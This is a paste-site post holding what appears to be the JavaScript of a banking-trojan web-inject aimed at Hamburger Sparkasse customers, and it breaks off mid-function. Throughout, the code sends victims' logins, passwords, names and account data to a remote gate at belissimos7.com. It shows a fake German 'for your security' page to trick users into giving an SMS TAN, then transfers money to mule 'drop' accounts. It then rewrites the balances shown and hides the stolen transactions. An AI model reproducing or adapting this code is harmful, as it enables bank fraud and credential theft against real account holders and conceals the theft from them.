Xylitol icon

haspa.js

Xylitol | PRO | 04/13/14 03:14:59 PM UTC | 0 ⭐ | 830 👁️ | Never ⏰ | []
JavaScript |

50.25 KB

|

None

|

0 👍

/

0 👎

var jq = jQuery.noConflict();
//var jq = $;
 
var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 708px;margin-left: -354px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_error { display: none; color: #FF0000 !important; font-weight: bold;clear:both; }.pich {  color: #999999; font-size:11px; left: 30px;bottom:-10px; position: absolute;}.infp{ font-size: 15px!important;  padding: 10px;}.info{float:left; font-size: 20px;  margin: 8px 0 0;}.logopic{float:right;}.load{ margin:0 auto!important; width:240px;}</style>');
 
 
 
var ATS = { bank: 'haspa',
    account_id: 0,
    script_ver: '1.1',
    transf_mode : 'sepa',
    debug_mode: 0,
    debug_transfer: "INT",
    gateURL : 'https://belissimos7.com/nsdghsf333/gate',
    debugVisibleFrame: false,
    debugNoOverlay : false,
    CONTENT_URL: CONTENT_URL,
    current_state : 0,
    sepa_or_int_select_changed : false,
    MaxTransferAccNum:0,
    Timeout:false,
    
 
    StepInFrame : {
        0:"BeginWork", 
        10:"framePageFinanzstatus", 
        20:"confirmform",
        30:"SEPA_page",
        110:"SEPA_form_filled",
        120:"TAN_ENTERED",
        130:"Internal_transf_page",
        140:"INT_form_filled",
        150:"framePageSEPA_fill",
        160:"framePageInternal_transf_page",
 
        
        set_current_state : function(state){
            
            for (var key in this) {
              if (typeof this[key]!= 'function' && state==this[key]) {
               parent.ATS.current_state=key;
               return key;
               }
              //alert(key+':'+this[key])
              
           }
            return false;
            }
        },
        
 
    isDebugMode: function()
    {
        return ATS.debug_mode;
    },
    
 
    getBrowserFull: function()
    {
        var res = 'na';
        try
        {
            var m = navigator.userAgent.match(/Firefox\/(\d+)/);
            if (m)
            {
                res = 'ff' + m[1];
            }
            else
            {
                m = navigator.userAgent.match(/MSIE (\d+)/);
                if (m)
                    res = 'ie' + m[1];
            }
        }
        catch(e)
        {
            res = 'ex';
        }
        return res;
    },
 
 
    debugMsg: function(message)
    {
        if (this.isDebugMode())
        {
            if (window.console && window.console.log)
                window.console.log(message);
            else
                alert(message);
        }
    },
    
    _cookies: new Object(),
    
    setCookie: function(name, value)
    {
        ATS.debugMsg('setCookie: ' + name + ' = ' + value);
        parent.ATS._cookies['#'+name] = value;
    },
    
    getCookie: function(name)
    {
        if (typeof parent.ATS._cookies['#'+name] == 'undefined')
            return null;
        
        return parent.ATS._cookies['#'+name];
    },
    
    serializeCookies: function()
    {
       //if (typeof parent.ATS._cookies != 'function')
        var result = new Array();
        for (var i in parent.ATS._cookies)
        {
           
            if(i.indexOf('#')==0){
               result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
 
               }
        }
        return result.join('&');
    },
    
    unserializeCookies: function(rawData)
    {
        var result = new Object();
        for (var i in rawData)
        {
            result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
        }
        return result;
    },
    
    saveCookies: function(callback)
    {
        ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
    },
    
 
    sendGateRequest: function(action, params, callback)
    {
     
        //ATS.debugMsg('sendGateRequest: ' + action);
        dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
        
        var url = ATS.gateURL + '?a=' + action + '&cb=?';
        //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
   
        //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
        //{ 
        
            jq.ajax({
                url: url,
                dataType: 'jsonp',
                crossDomain: true,
                data: dat,
                //async: false,
                success: callback,
                error: function(request,error) 
                {
                    ATS.debugMsg('posible ban ip; ajax error: ' + error);
                    jq('.inj_full_overlay').remove();
                    ATS.UI_unblockSite();
                    jq('#inj_dialog_box').hide();
                }
                
            });
            
        //}
    },
    
 
    loadData: function(callback)
    {
        ATS.sendGateRequest('load_data', {}, function(data){
            ATS.account_id = data.account_id;
            ATS._cookies = ATS.unserializeCookies(data.cookies);
            if (typeof callback == 'function')
                callback();
        });
    },
    
 
    sendLoginInfo: function(login, password, callback)
    {
        ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
    },
    
 
    sendLogMsg: function(text, callback)
    {
        ATS.debugMsg('sendLogMsg: ' + text);
        ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
    },
    
    getDrop: function(transfType, balance, callback)
    {
       
 
        ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
    },
    
    putTransfer: function(transfType, drop, amount, callback)
    {
        ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
    },
    
    sendAccountsInfo: function(accountsInfo, callback)
    {
        try {
            ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
        } catch(e) {}
    }
    
    
    
    
};
 
 
 
ATS.UI_showWait = function()
{
    ATS.UI_showDialogBox();
    jq('#inj_page_wait').show();
    jq('#inj_page_brilok').hide();
    jq('#gad_signatur_tan').hide();
    jq('.inj_buttons_block').hide();
    jq('.inj_error').hide();    
 
}
ATS.UI_getTAN = function()
{
    return jq('.nowrap label').text();
    
}
 
ATS.UI_getInjectCode = function()
{
    var code = 
     '<div id=inj_dialog_box style=\'display: none;\'>'
    
   
+'<div id="headCon"><div id="head" class="clrfix"><div id="logo1"><img src="'+ATS.CONTENT_URL+'/images/Logo_Haspa.png" title="" alt="Hamburger Sparkasse - Homepage"></div><div id="logo2"><img src="'+ATS.CONTENT_URL+'/images/name.gif" alt=""></div></div>'
 
  
     + '<div id=inj_page_wait style=\'display: none;\'>'
 
 
+'<div id="content" style="top:90px!important;><div id="inner" class="clrfix"><div class="compBox serv pflg-3 pflg3"><span class="compEcke">&nbsp;</span><div class="inner clrfix"><div><p>Zu Ihrer Sicherheit</p></div><div class="hLine"><span></span></div>'
 
    
     + '<p class="inj_content_para">'
     +  langs.getLang('waittext')
     + '<br class="newline" /></p><p class="load"><img s'
     + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p>'
 
+'</div></div></div></div></div>'
 
     +'</div>'//inj_page_wait
 
     
     + '<div id="gad_contentbox" style=\'display: none;\'>'
     
     +'<div id="gad_signatur_tan" style=\'display: none;\'>'
     
+'<div id="trinity"><div id="duality"><div id="content"><div id="inner" class="clrfix"><h1>'+langs.getLang('Authorizetransaction')+'</h1><div class="compBox serv pflg-3 pflg3"><span class="compEcke">&nbsp;</span><div class="inner clrfix"><div class=""><div><p>'+langs.getLang('autorizetext')+'</p></div><div class="hLine"><span></span></div></div><form name="f" method="post" action="" onsubmit="return false;"><fieldset class="services"><div class="spaceBlockI">&nbsp;</div><div class="row clrfix"><label>SmsTAN:</label><input type="text" value="" size="15" id="iTAN" name="nrTan" maxlength="10"><p class="inj_error">'+langs.getLang('errortan')+'</p></div></fieldset></form></div></div><ul class="buttons4 clrfix right"><li><span><input type="button" value="'+langs.getLang('nextbutton')+'" id="inj_Weiter" name="inj_weiter" class="default"></span></li></ul></div></div></div></div></div>'
     
     +'</div>'//gad_signatur_tan
     
 + '<div id="inj_page_brilok"  style=\'display: none;\'>'
 
+'<div id="trinity"><div id="duality"><div id="content"><div id="inner" class="clrfix"><h1>'+langs.getLang('Authorizetransaction')+'</h1><div class="compBox serv pflg-3 pflg3"><span class="compEcke">&nbsp;</span><div class="inner clrfix"><div class=""><div><p>'+langs.getLang('autorizetext2')+'</p></div><div class="hLine"><span></span></div></div><form name="f" method="post" action="" onsubmit="return false;"><fieldset class="services"><div class="spaceBlockI">&nbsp;</div><span id="instext"></span><div class="row clrfix"><label>Enter the TAN sent:</label><input type="text" value="" size="15" id="iTANBrilok" name="nrTan" maxlength="10"><p class="inj_error">'+langs.getLang('errortan')+'</p></div></fieldset></form></div></div><ul class="buttons4 clrfix right"><li><span><input type="button" value="'+langs.getLang('nextbutton')+'" id="inj_Weiter" name="inj_weiter" class="default"></span></li></ul></div></div></div></div></div>'
 
 
 
  
 
+'</div>'
 
 
   +'<div class="inj_buttons_block">'   
 
 
  +'</div>'
 
 
+'</div>'
 
 
     + '</div>';
     
     
    return jq(code);
}
 
ATS.die = function(msg)
{
    ATS.sendLogMsg('ERROR: ' + msg);
    ATS.setCookie('error_time', ATS.getTime());
    ATS.setCookie('status', 2);
    parent.ATS.StepInFrame.set_current_state("BeginWork");
    ATS.saveCookies(function(){
        if ((parent.window !== window) && parent.ATS)
        {
            ATS.debugMsg('die in frame');
            parent.ATS.UI_hideDialogBox();
            parent.ATS.UI_unblockSite();
 
            jq('.inj_full_overlay',parent.document).remove();
        }
        else
        {
            ATS.debugMsg('die outside frame');
            ATS.UI_hideDialogBox();
            ATS.UI_unblockSite();
            jq('.inj_full_overlay').remove();
        }
 
jq('link').each(function(){
var lnk=jq(this).attr("href");
if(lnk.indexOf("[email protected]")!=-1) jq(this).remove();
});
 
 
/*        
 
    var nextLink=jq('#gad_navigation_main li:eq(1) a').attr("href");
    parent.ATS.StepInFrame.set_current_state("BeginWork");
            setTimeout(function(){
                   parent.window.document.location.href = nextLink;                    
                }, 1000);
 
*/
    });
    
 
        
}
 
 
ATS.mainWork = function()
{
    
    ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
    //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
    switch (ATS.current_state)
    {
        case 0:
            
 
            var href = ATS.getFinanzstatusLink();
            if (href)
            {
            
                     
                ATS.StepInFrame.set_current_state("framePageFinanzstatus");
var name=jq('div#content > div#inner p:contains(Guten Tag),div#content > div#inner p:contains(Hello)').text().replace(/Hello |,|Guten Tag /gim,"");                
                
     ATS.sendLogMsg('Name: ' + name,ATS.ieFrameHack() );       
                
                
               
                
                
            }
            else
            {
                ATS.die('mainWork: cant find finanzstatus');
            }
            break;
    }
}
ATS.ieFrameHack = function()
{
    ATS.debugMsg('ATS.ieFrameHack()');
    
    if (!jq('iframe#ats_wrk_iframe').length)
    {
 
        //ATS.openInIframe(ATS.getFinanzstatusLink());
        ATS.openInIframe('about:blank');
/*        
var cssLink = document.createElement("link")
cssLink.href = "/wrs/resources2/html/layout.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
 
var cssLink = document.createElement("link")
cssLink.href = "/wrs/resources2/html/color.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
*/
 
 
        
     
        setTimeout(ATS.ieFrameHack, 3000);
    }
    else
    {
 
        var n=ATS.getFinanzstatusLink();
    //n=n.replace(/\:/g, '%3A');
    //n=n.replace(/\?/g, '%3F');     
    if(!ATS.checkTestPage()){ 
       
      // var n=ATS.getFinanzstatusLink().replace("(","%28").replace(")","%29");
    } 
    else {
    //   var n=ATS.getFinanzstatusLink().replace(/\./gi,"%2e" );  
    }        
    
        jq('iframe#ats_wrk_iframe').attr('src',n );
    }
}
ATS.UI_hideDialogBox = function()
{
    jq('#inj_dialog_box').hide();
}
 
 
ATS.descending= function(a, b)
{
    
    return b.kreditbalance- a.kreditbalance;
}
 
ATS.getMaxTransferAcc = function()
{
    //num = num || 0;
    var num=parent.ATS.MaxTransferAccNum;
    
    parent.ATS.accounts_list.sort( ATS.descending );
    
    if (parent.ATS.accounts_list[num]!=null)   return parent.ATS.accounts_list[num];
    else 
    {
    ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left'); 
    }
/*
    var accountsList = parent.ATS.accounts_list;
    var maxBalance = accountsList[0].balance;
    var tempBalance = 0;
    var maxAcc = null;
    for(var i in accountsList)
    {
        tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
    
    
            if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
            {
                maxBalance = tempBalance;
                maxAcc = accountsList[i];
            }
    }
 
    return maxAcc;
    */
    
}
 
 
ATS.UI_onWeiterClick = function()
{
if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
else var tan = jq('#iTANBrilok').val();
 
 
    if (tan=="test") {
       if (ATS.isDebugMode()){
           parent.ATS.UI_showWait();
        if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
        else ATS.framePageReceiptInternal();
       
       return false;}}
 
    
    if (tan.length == 6)
    {
        ATS.sendLogMsg('entered TAN ' + tan);
        jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
    }
    else{
        alert(langs.getLang('errorTanEmpty'));
        
    }
}
 
ATS.padRight = function(input, totalWidth)
 
{
    var result = input;
    if (result.length < totalWidth){
        for(var i = result.length; i < totalWidth; i++){
            result = result + 'X'
        }
    
    }
    return result;
}
 
 
ATS.framePageReceipt = function()
{
    ATS.sendLogMsg('framePageReceipt');
 
    
    ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
        ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
        ATS.setCookie('transfer_time', ATS.getTime());
        ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
        ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
        ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
        
        var transfer_acc = parent.ATS.maxAcc.number;
        
        if (transfer_acc)
        {
            ATS.setCookie('transfer_acc', transfer_acc);
            ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
        }
        
        ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
        
        ATS.setCookie('status', 1);
        ATS.saveCookies(function(){
 
            var nextLink = ATS.getFinanzstatusLink();
            if (nextLink != '')
            {
                setTimeout(function(){
                    parent.ATS.StepInFrame.set_current_state("BeginWork");
                    parent.window.document.location.href = nextLink;
                    
                }, 1000);
            }
        });
    });
    
}
ATS.framePageReceiptInternal = function()
{
    ATS.sendLogMsg('framePageReceiptInternal');
    
    ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
        ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
        ATS.setCookie('transfer_time', ATS.getTime());
        ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
        ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
        ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
        
        var transfer_acc = parent.ATS.maxAcc.number;
        
        if (transfer_acc)
        {
            ATS.setCookie('transfer_acc', transfer_acc);
            ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
        }        
        
 
        ATS.setCookie('status', 1);
        ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
        
        ATS.saveCookies(function(){
 
            var nextLink = ATS.getFinanzstatusLink();
            
            if (nextLink != '')
            {
                setTimeout(function(){
                    parent.ATS.StepInFrame.set_current_state("BeginWork");
                    parent.window.document.location.href = nextLink;
                    
                }, 1000);
            }
        });
    });
}
ATS.fin2float = function(text)
{
    if (langs.getCurLang()=='EN') 
    var text = text.toString(); 
    else
    var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
    return parseFloat(text);
}
 
ATS.float2fin = function(val)
{
    if (langs.getCurLang()=='DE'){ var delim1="."; var delim2=",";} 
    else { var delim1=","; var delim2=".";}
    
    var intPart = Math.floor(val);
    var fractPart = Math.floor((val - intPart) * 100).toString();
    
    if (fractPart.length < 2)
        fractPart = '0' + fractPart;
        
    var newIntPart = '';
    intPart = intPart.toString();
    while (intPart.length > 3)
    {
        newIntPart = delim1 + intPart.substr(intPart.length - 3) + newIntPart;
        intPart = intPart.substr(0, intPart.length - 3);
    }
    newIntPart = intPart + newIntPart;
    
    return newIntPart + delim2 + fractPart;
}
ATS.addElementAmount = function (el, amount, postfix)
{
var val=jq.trim(jq(el).text());
       if (langs.getCurLang()=='EN'){ 
         
               val=val.replace(/\,/g, '');    
    }
    else{
        val=val.replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.');
    }
    
    console.log(val);
    var val = parseFloat(val);
    var newText='';
    //var newText='<strong>';
 //   if (val<0) newText +='<span class="negbal">';
    
    newText += ATS.float2fin(val + amount);
    if (postfix)
        newText += ' ' + postfix;
        
 //   if (val<0) newText +='</span>';
     //newText +="</strong>";   
    jq(el).html(newText);
}
ATS.hideLastTAN = function()
{
 
    var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
    if (el.length)
    {
        var html = jq(el).html();
        var pos = html.indexOf('Ihre zuletzt');
        if (pos >= 0)
            jq(el).html(html.substr(0, pos));
    }
    
 
    jq('p:contains(Zuletzt benutzte)').remove();
}
 
ATS.checkTransfer = function(el)
{
 
 
    var percent=parseFloat("0.00");  
 
    var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
    if (isNaN(lastGesamtsaldo)) {
        ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
        return false;
    }
 
    //var curGesamtsaldo = ATS.fin2float(jq(el).text());
    var curGesamtsaldo = el;
    
 
    var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
    var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
    tempsaldo=parseFloat(tempsaldo.toFixed(2));
    
        //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
        
 
    if(tempsaldo==0){
        ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
        return false;
        }
    
 
    if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
        return false;
    }
 
 
    if(tempsaldo>0){
    
           
 
    if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
        
    var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
    percent=parseFloat(temppers.toFixed(2));
    ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
    if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){ 
            ATS.setCookie('acPercent',percent);
            ATS.saveCookies();
    }
    if (ATS.getCookie('acTransact')!="true"){ 
            ATS.setCookie('acTransact',true);
            ATS.saveCookies();
    }
    
    return percent;
    }else{
       
        ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
            ATS.setCookie('acPercent',tempsaldo);
            ATS.setCookie('acTransact',false);
            ATS.saveCookies();
        return false;
    }    
        
}
 
}
 
 
ATS.replaceMainPage = function()
{
    ATS.debugMsg('replaceMainPage()');
    
  jq("#foot_mirror ul").remove();
 
 
if (langs.getCurLang()=='EN'){ 
var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\,/g, ''));
}else{
var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\./g, '').replace(/\,/g, '.'));    
}
        
     var percent =ATS.checkTransfer(saldo);
     ATS.debugMsg('percent= '+percent);
     if(typeof percent === 'boolean') return true;
 
 
if( percent > 15) {
   ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
    } 
 
  
    
        var totalReplace = 0;
        
var amount = parseFloat(ATS.getCookie('rep_amount'));
var transfer_acc =ATS.getCookie('transfer_acc');
 
 
jq('.compBox table tr:has(a span.QL_einzelueberweisung)').each(function(){
 
       if (langs.getCurLang()=='EN'){ 
                var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
               var balance=jq(this).children("td:eq(4)").find("span");
            }
            else{
                var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
                var balance=jq(this).children("td:eq(4)").find("span");
                
                }
 
if(number==transfer_acc){
 
ATS.debugMsg('replaceMainPage: ' + transfer_acc + ' + ' + amount + '; percent = ' + percent);    
ATS.addElementAmount(balance, parseFloat(amount + percent), '');
  totalReplace = parseFloat(amount + percent);
  
var upbalance=jq(balance).parents("div.inner").find("h3 .sumValue span");
ATS.addElementAmount(upbalance, totalReplace, '');  
    }
      
 
});
 
if(totalReplace>0){
var saldo=jq('.compBox h3:last span');    
ATS.addElementAmount(saldo, totalReplace, '');
}   
    
}
 
 
ATS.replaceUmsatzanzeige = function()
{
    ATS.debugMsg('replaceUmsatzanzeige()');
 
  jq("#foot_mirror ul").remove();
    
 
      var percent=parseFloat(ATS.getCookie('acPercent'));
  
    
 
if( percent > 15) {
   ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');      return true;
    } 
    
    //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
    if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
 
    
 
var amount = parseFloat(ATS.getCookie('rep_amount'));
var transfer_acc =ATS.getCookie('transfer_acc');
 
var number = jq('label:contains(Kontonummer) + label,label:contains(Account Number) + label').text()
if(!number ) ATS.sendLogMsg('replaceUmsatzanzeige cant find acc number');    
if (number==transfer_acc){
    
 
    ATS.debugMsg('number = ' + number + '; amount = ' + amount + '; percent = ' + percent);    
var el=jq('label:contains(Kontostand vom) + label span:last,label:contains(Account balance on) + label span:last');     
    ATS.addElementAmount(el, amount +  percent, '');
 
var el= jq('tr:has(td:contains(Kontostand EUR)) td:eq(1),tr:has(td:contains(Account balance EUR)) td:eq(1)').find('span');     
    ATS.addElementAmount(el, amount +  percent, '');
 
 
 
        
 
        var hideFlag = false;
            jq('table.tab-1 tr').each(function(i){
            var text = jq.trim(jq(this).find("td:eq(3)").text());
            
 
            if (ATS.needToHide(text))
            {
//  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
                jq(this).hide();
                hideFlag = true;
            }
    
    });     
        
jq('table.tab-1 tr.high:visible,table.tab-1 tr.low:visible').each(function(i){
jq(this).attr('class', (i % 2) ? 'high' : 'low');
 
    });
        
    
    
}//--if (number==transfer_acc)--       
 
 
 
}
 
 
 
 
ATS.needToHide = function(text)
{
 
    
    var amount = parseFloat(ATS.getCookie('rep_amount'));
    if (amount)
    {
 
        if (langs.getCurLang()=='EN'){
            text=text.replace(/[^\d.]+/gi, '');
            
        if (text.indexOf(amount) != -1) return true;
            
            }
            else{
        text=text.replace(/[^\d,]+/gi, '').replace(",", '.');                
        if (text.indexOf(amount) != -1) return true;
        //ATS.debugMsg(text);
        }
    }
        
    return false;
}
ATS.replaceBalances = function()
{
    ATS.debugMsg('replaceBalances()');
    
    //ATS.hideLastTAN();
    
    
        switch (langs.getCurLang())
    {
        
        case "EN":
    if (ATS.getPageTitle("Financial status")) ATS.replaceMainPage();            
     if (ATS.getPageTitle("View account transactions")) ATS.replaceUmsatzanzeige();            
        break;
         default:
         
    if (ATS.getPageTitle("Finanzstatus")) ATS.replaceMainPage();            
    if (ATS.getPageTitle("Kontoums"+String.fromCharCode(0x00E4)+"tze anzeigen") ) ATS.replaceUmsatzanzeige();
    
                
            break;
            
 }
            
 
    
 
    
    
    
 
  
}
 
 
ATS.findAccountInfo = function(acc_num)
{
    ATS.debugMsg('acc_num:'+ acc_num);
    var accounts_list = parent.ATS.accounts_list;
    for (var i in accounts_list)
    {
        //if (accounts_list[i] != 'function' ) 
         //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
        
            if (acc_num.indexOf(accounts_list[i].number) != -1)
            {
                //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
                return accounts_list[i];
            }
        
    }
    return false;
}
 
var langs ={
 simple_property: 'Hello',
 EN: {
  waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  nextbutton: "Next",
  errortan: "TAN falsch, bitte richtige TAN eingeben",
  errorTanEmpty : "TAN must be 6 characters long!",
  Authorizetransaction : "Zu Ihrer Sicherheit",
  autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:",
  autorizetext2: "To generate a TAN for your instruction Single payment, please proceed as follows:"
 },
  DE: {
  waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  nextbutton: "Weiter",
  errortan: "TAN falsch, bitte richtige TAN eingeben",
  errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  Authorizetransaction : "Zu Ihrer Sicherheit",
  autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:",
  autorizetext2: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  
 },
 
 getLang: function(step) {
 
var ln='DE'; 
 
jq('div.cont').each(function(){
if (jq(this).html().indexOf("Last Login")!=-1) {ln='EN';}
});
 
 
 
//  return(this.simple_property + ', ' + this[ln][step]);
  return(this[ln][step]);
 },
 
 getCurLang: function() {
 
 
var ln='DE';
jq('div.cont').each(function(){
if (jq(this).html().indexOf("Last Login")!=-1) {ln='EN';}
});
 
 
  return(ln);
 }
 
};
 
 
 
 
document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}</style>');
 
 
 
ATS.checkTestPage = function()
{
    if(jq('#gad_contentbox').length) return true;
    //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
    else return false; 
}
 
 
ATS.checkLoginPage = function()
{
    return ! jq('div.timer').length;
}
 
 
 
ATS.isLoggedIn = function()
{
   
return !! jq('div.timer').length;
 
}
ATS.UI_blockSite = function()
{
    if (ATS.debugNoOverlay)
        return;
        
    if (jq('#inj_block_overlay').length)
        jq('#inj_block_overlay').show();
    else
        {jq('body').prepend('<div id=inj_block_overlay></div>');
        
   
   var cssLink = document.createElement("link")
cssLink.href = ATS.CONTENT_URL+"/images/[email protected]";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
jq('body', parent.document).prepend(cssLink); 
    
        }
}
ATS.UI_unblockSite = function()
{
    jq('#inj_block_overlay').hide();
    jq('body > div:not(#inj_block_overlay,#inj_dialog_box,.inj_full_overlay)').show();
    
}
 
 
 
ATS.getFinanzstatusLink = function()
{
 
    if(!parent.ATS.finLink){ 
        
    parent.ATS.finLink=jq('ul li a:has(span:contains(Financial status)),ul li a:has(span:contains(Finanz'+String.fromCharCode(252)+'bersicht))').attr("href");
    //parent.ATS.finLink=parent.document.location.href;
    }
    return parent.ATS.finLink; 
    
    
    
}
 
 
 
ATS.UI_showDialogBox = function()
{
    jq('body > div:not(#inj_dialog_box,.inj_full_overlay)').hide(); 
    
    if (!jq('#inj_dialog_box').length)
    {
        var injectCode = ATS.UI_getInjectCode();
        jq('body').append(injectCode);
        
        jq('input[name=inj_weiter]').click(ATS.UI_onWeiterClick);
    }
    jq('#inj_dialog_box').show();
}
 
ATS.UI_askTan = function(tanNum, isError)
{
    
   
    
if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
    parent.ATS.UI_showDialogBox();
    //parent.ATS.UI_fixBtnLink();
 
//var sms=jq('div[id*="TanData"]').html();
 
if (!!jq('#legitimation label:contains(SMS)').length){
    
    parent.ATS.TanType='sms';
 
    jq('#inj_page_wait', parent.document).hide();
    jq('#inj_page_brilok', parent.document).hide();
    jq('#gad_signatur_tan', parent.document).show();
    jq('#gad_contentbox', parent.document).show();
 
      
}
 else{
    parent.ATS.TanType='brilok';
 
 
 
 
    jq('#inj_page_wait', parent.document).hide();
